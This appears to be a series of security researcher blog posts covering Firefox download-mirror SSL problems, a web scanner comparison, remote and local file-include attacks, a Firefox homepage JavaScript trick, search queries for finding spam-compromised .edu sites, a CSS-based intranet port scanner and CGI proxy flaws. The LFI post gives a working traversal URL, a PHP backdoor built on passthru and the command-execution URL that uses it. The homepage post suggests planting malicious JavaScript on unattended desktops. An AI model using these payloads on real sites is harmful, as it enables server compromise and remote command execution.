I did a presentation at the DefCon Comedy Jam about how users manually validate updates for Firefox was just a total mess from a security perspective. It had a lot to do with the fact that they are using round robin DNS and relying on the good will of a lot of dispirit sites to do their hosting for them. Well, I’ve been wondering more and more about how I may or may not be able to download these releases and verify them manually in a secure way. So I did a few checks and here’s the IP space I found and the status of what their SSL/TLS ports were when checked yesterday:

63.245.208.152 (live but with SSL/TLS mismatch)
128.61.111.9 (connection refused)
129.101.198.59 (connection refused)
131.188.12.212 (connection refused)
149.20.20.5 (connection refused)
156.56.247.196 (connection refused)
202.177.202.154 (connection refused)
204.152.184.196 (connection refused)
204.246.0.136 (connection refused)
216.165.129.141 (connection refused)
64.50.236.214 (connection refused)
64.50.236.52 (connection refused)
129.101.198.59 (operation timed out)
155.98.64.83 (operation timed out)

So only 1 out of 14 even have SSL enabled. Okay… well today, I took a little spin on SSLLabs and I found that the one site that does have SSL enabled (63.245.208.152) has a SSL/TLS mismatch error for videos.mozilla.org. I mean… seriously! If your browser goes to https://releases.mozilla.org this is sort of what’s happening under the hood:

$ telnet releases.mozilla.org 443
Trying 202.177.202.154…
telnet: connect to address 202.177.202.154: Connection refused
Trying 204.152.184.196…
telnet: connect to address 204.152.184.196: Connection refused
Trying 204.246.0.136…
telnet: connect to address 204.246.0.136: Connection refused
Trying 216.165.129.141…
telnet: connect to address 216.165.129.141: Connection refused
Trying 64.50.236.214…
telnet: connect to address 64.50.236.214: Connection refused
Trying 128.61.111.9…
telnet: connect to address 128.61.111.9: Connection refused
Trying 129.101.198.59…
telnet: connect to address 129.101.198.59: Connection refused
Trying 131.188.12.212…
telnet: connect to address 131.188.12.212: Connection refused
Trying 149.20.20.5…
telnet: connect to address 149.20.20.5: Connection refused
Trying 155.98.64.83…
telnet: connect to address 155.98.64.83: Operation timed out
Trying 156.56.247.196…
telnet: connect to address 156.56.247.196: Connection refused
Trying 63.245.208.152…
Connected to releases.geo.mozilla.com.
Escape character is ‘^]’.
^]
telnet> quit

Yes, after a minute of trying your browser will eventually find the one HTTPS server - or it won’t (sometimes it just gives up). So then in poking around within my Mozilla config I saw a reference to http://en-US.www.mozilla.com/en-US/firefox/3.5.7/releasenotes/. So I switched to SSL/TLS with this link, because I like being secure, and I get a SSL/TLS warning as well. These are the kinds of things that make Firefox incredibly unsafe to manually download and verify the binaries if you are in a hostile environment. And I’m just scratching the surface compared to my presentation. How many of those 3rd party sites do you think can be exploited?

Larry Suto is back with another report outlining the differences between some of the top web application scanners on the market. Before you get all uptight and start flaming me, I in NO WAY sponsored, encouraged or had anything to do with this test in any way. In fact, I only found out about it a few days ago. Not that I think that’ll stop the flame wars, but just direct your ire appropriately, please! Anyway, he took a different approach this time, and instead of running the scanners against something he had devised up to be used only in his own lab, he turned all the scanners on each other’s public test sites. You might think they should all fair fairly well since they’re all public and there’s nothing stopping them from testing to their heart’s content. But that’s anything but what he found. You can download Larry’s report here.

Some of the more interesting findings were that Burp Suite Pro (an extremely cheap product built by Portswigger - and a damned fine manual testing tool, I might add) fared better than Qualys or WebInspect when trained. I always loved Burp Suite! Larry’s commentary is particularly amusing as you go through it, with choice quotes, like:

Accuntix missed 31% of the vulnerabilities after training and 37% without training. This is a significant cause for concern as they should be aware of the links vulnerabilities on their own site and be able to crawl and attack them.

And…

WebInspect missed 66% of the vulnerabilities, even after being trained to know all of the pages. They missed 42% of the vulnerabilities on their own test site after being trained and 55% before training.

NTOSpider by NT Objectives came out in the lead with the best overall score of the application scanners tested (which included Acunetix, Appscan, Burp Suite Pro, Hailstorm, WebInspect, and NTOSpider). He also measured things like how long the various scanners take to configure, support and so on - all important things for companies about to make the big investment. This isn’t all scanners everywhere (notably WhiteHat is missing as is the newest player to the field, NetSparker who incidentally took it upon themselves to add themselves into the report after the fact, and other free web assessment tools, like Nikto etc…), but it’s a great start to a long future of heavily debated research, I’m sure. Love him, or hate him, Larry’s always got interesting research to share!

I started on this project over a year ago, and then I stopped, and then I started it again, and then I stopped again, and finally today, I mostly got it finished (or as far as I’m willing to take it for today). I wanted to create a master list of a mess load of RFI (remote file include) attacks. I got the list from various sources and I’m sure I’m missing a ton so yes, if you think there’s some I’ve missed, go ahead and forward them on to me and I’ll add them in.

You can download the full list here (2241 RFIs at the time of writing - after updating).

But because of how I built this it’s got a few issues. The first one is that it doesn’t take into account the path to the vulnerable function. So if it’s http://www.vulnerable.com/bob/something… you have to add that in. The second issue is that sometimes the trailing question mark is needed but it’s not added in the string. But you may require the additional question mark so that you don’t get /r57.txt.somegarbage but rather /r57.txt?.somegarbage which will work. So if you use this, you may have to add in your own question marks after your RFI URL. Anyway, thoughts are welcome, and big thanks for the hundreds of people who found these in the first place!

I’ve been playing around a lot more with LFI attacks, because I think they’re more prevalent than I originally had expected. Last night I had cigars with one of the OWASP guys and I got to thinking that I should probably do a quick post about this. For those who aren’t clued in about LFI (local file include) attacks, it basically means that PHP is pulling in a file locally and running it (you see that happen a lot with flags like language=en where en represents a file called en.php). So an attack might look like:

http://www.example.com/index.php?language=../../../../../../etc/passwd%00

The null byte is to truncate anything at the end that the php file might be trying to append to the end of the file, like “.php” in “en.php” and so on. Although in that example password files aren’t PHP so it’s not helping you much beyond being able to read files off the file system. So the next step is finding the log files and injecting a PHP backdoor through a user agent or referring URL. There’s some problems with this depending on how you do it because Apache logs will escape quotes. Assuming you find a way around that (like using the error logs rather than the access logs) you can inject your PHP backdoor. Here’s my micro backdoor (thanks to Daniel Herrera for inspiration):

<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>

So now what this does is throw a PHP file into the /tmp directory (which is typically writable). More importantly that file can now be used to inject commands directly (in the example below it’s executing whoami):

http://www.example.com/index.php?language=../../../../../../tmp/g%00&f=whoami

If anyone has shorter/more effective LFI backdoor, please let me know and I’ll post them.

So after the last post I was messing around a bit with the way the homepage functionality works in Firefox and I noticed something before that I had meant to go back and play with quite a while ago. Funny how the mind works. Anyway, it turns out that if you include a pipe in a URL with JavaScript after it and you somehow get someone to bookmark that page you can get JavaScript to fire on about:blank. I’m not exactly sure how that would be helpful, but it’s certainly unsafe behavior to use a pipe as a delimiter since pipes can exist as valid characters in URL structures. If you want to see it in action click hold and drag the following demo link onto the homepage button in Firefox:

Set your homepage by dragging this link onto your homepage button at the top and then click through the button that asks for confirmation. For some reason this didn’t work on my main browser, but when I used safe mode it worked fine. I suspect that’s NoScript’s doing, so you may have to disable it to get the demo functional. Again, I’m not super clear on how this would be useful, but it’s certainly unintended behavior. Happy bookmarking!

Every once in a while I see someone who really should know better leaving their desktop unattended. Sometimes you can change their homepage to porn sites, or send emails to their bosses telling them that they don’t need that pay raise after all and other such fun. Well, if you know the user isn’t utilizing Noscript you can modify their homepage to something a little more dangerous - a JavaScript bookmarklet.

You can see a demo here. Of course this relies on you having a web server set up with a malicious piece of JavaScript that you can include ahead of time. But I think this teaches two valuable lessons if done properly. 1) Use Noscript, even on your homepage and 2) Don’t leave your desktop unattended. Please don’t use it for evil!

I struggled a lot with this over the last few weeks as I thought about it more and more. I’ve known for a very long time that the SEO guys were hacking .edu websites to increase their pagerank for keywords. By getting .edu (which ranks higher than .com for instance because the domains are old and highly connected) to link to a site with the right keywords, Google is tricked into thinking the site is of higher value. Yes, Google’s algorithm really is that simple to get around, which is why there is a lot of garbage in their index now. It just took a while for the bad guys to get a large enough mass of hacked sites.

So I started messing around with search strings that would help me identify highly probably hacked sites and poof - within a few minutes I had dozens upon dozens of high value compromises:

inurl:.edu viagra
inurl:.edu cialis
inurl:.edu phentermine

There are millions of variants of these keywords phrases and their ilk across far greater masses of domains, but this should give you an idea of what’s possible. Some of them are truly amazingly bad. So I took it upon myself to start emailing a few that weren’t on this list but that were just as bad. You may or may not be surprised that I got almost no responses whatsoever. In fact, I only got one that was accusing me of spamming and/or ambulance chasing. Ugh! Talk about a way to make a guy want to quit being a good citizen.

But this brings up an interesting problem. Who exactly are the Internet cops? Some would argue that stopbadware which is heavily sponsored by Google is the equivalent. But it clearly sucks - given that all these were found within Google’s own index. What is the right way to alert a company that they’ve been compromised? Is it even worth bothering? Is my own site going to be viewed as a spam site with links like those above? What an ugly problem!

Okay, I know we’ve talked about Intranet port scanning to death, but I’ve been toying with an idea for around three years now regarding how I might be able to turn off JavaScript and perform intranet port scanning. Jer had some good ideas around delayed CSS timing (I even got that working at one point). But I still wanted to get the CSS history hack working with forced browsing and see if I could possibly turn that into a crude port scanner. Yeah, I have a few items on my plate, so it took me this long to finally sit down and hack it out. It turns out it was trivial once I got started, because CSS history testing is instant, you don’t have to force a re-load of your test to see if it was successful.

That’s the good news. Here’s the bad news. 1) It only works in Firefox so far in my testing. It didn’t work in IE8 (false negatives), Opera (false positives) or Safari (false negatives). 2) It’s slow. Since it has to wait for all the HTTP requests to fire it’s pretty unwieldy once you get over a few dozen requests. 3) It’s noisy. If you’re dealing with NTLM/basic or digest auth, not to mention any other popups or sounds or what-have-you, you’re talking a pretty noisy port scanner. But all that said, it seems to work fairly well. You can check out the demo here.

Thanks to Jeremiah for sending these over. News is fast hitting about Chinese hacks against Adobe and Google. Very interesting stuff. But beyond the hacks themselves - in Google’s case targeting Chinese political dissidents - is this interesting news:

We have decided we are no longer willing to continue censoring our results on Google.cn, and so over the next few weeks we will be discussing with the Chinese government the basis on which we could operate an unfiltered search engine within the law, if at all. We recognize that this may well mean having to shut down Google.cn, and potentially our offices in China.

Wow! And I do mean wow! Google is no longer willing to take the political hit associated with their flippant stance towards China’s censorship and is actually stepping up to do the right thing! Absolutely amazing. This is the first really truly non-evil thing I have seen Google do in years. I read a really funny article the other day by Fake Steve Jobs where he called Google sociopaths - and until today I agreed with that statement. Now I think at least they know what the difference between right and wrong is, even if they’ve definitely chosen the wrong route a greater percentage of the time than not.

Of course there is all kinds of potential for spin in Google’s blog post. For instance never once did they explain how their cloud wasn’t secure and you shouldn’t upload sensitive information to something that’s not secure if you care about that kind of thing. But alas, I’d never expect that either. Convenience will win that war over security either way. But it’s exciting news, and I’m interested to hear what the fallout of this one is.

Marco commented that the CSS history hack doesn’t work with hidemyass.com. Never having been there, I found myself clicking around on their site to find that it’s yet another CGI proxy. So after a few minutes of playing around here is the list of problems or potential problems I have with hidemyass.com and most of the the sites that are similar. Here are the top 10 biggest problems that I see (yes I had to limit myself to 10 because this list was getting out of control), in no particular order:

#1 - First thing I did was go to Youtube, and then I visited one of my own sites. It turns out that cookies set by Youtube are sent to my site on subsequent requests. So there is no cross domain boundaries for cookies. That’s a huge no-no and would easily de-obfuscate where you’ve been, not to mention giving the other site access to your account.

#2 - The site sends a referrer of the hidemyass.com website, so you can easily see that the user came from there.

#3 - The site is still vulnerable to the CSS history hack, but instead of picking one of the sub-urls, you’d just pick the main one of http://hidemyass.com/ and poof!

#4 - The proxy doesn’t re-write the JavaScript, so it’s easy to just call yourself in the JavaScript to see that they are using this service.

#5 - Since every site resides on the same CGI proxy’d domain it’s trivial to see what other domains have been logged into and more importantly, what the content is on those other pages.

#6 - What happens when the site is SSL? Does it even work or does it downgrade you into non-ssl? Either way…

#7 - Same question as above, but what about FTP, SMB and all the other protocols out there…? Either they work or they don’t. Either way, bad news.

#8 - The IP addresses aren’t diverse enough - usually the same set of a handful of IPs, and therefore can be tracked, and/or can cause flood limits on sites looking for that sort of thing.

#9 - Sites like these tend to be run by bad guys, and tend to log whatever information is sent over the wire. What a great place to man in the middle someone - right? Even if they weren’t run by bad guys, they could easily be hacked into in many cases, in which case, every user who utilizes it is potentially in danger.

#10 - Sites like this tend to muck with the HTML of the page they output, making them trivial to detect in JavaScript space, and worse yet, they often can cause major CSS collisions with other page content, or even be overwritten in such a way that the user thinks they are interacting with the CGI Proxy and doing something benign but in fact the user is performing an action that can hurt them.

So yeah, please don’t use CGI proxies, unless you really know what you’re doing. They really very rarely increase your security. Most of the time, they just decrease it, as a matter of fact. And yes, this applies to the dozen or so other sites that the same company runs and the hundreds of others you find mentioned on digg.com and the like. Avoid them, unless you simply don’t care about any of these risks.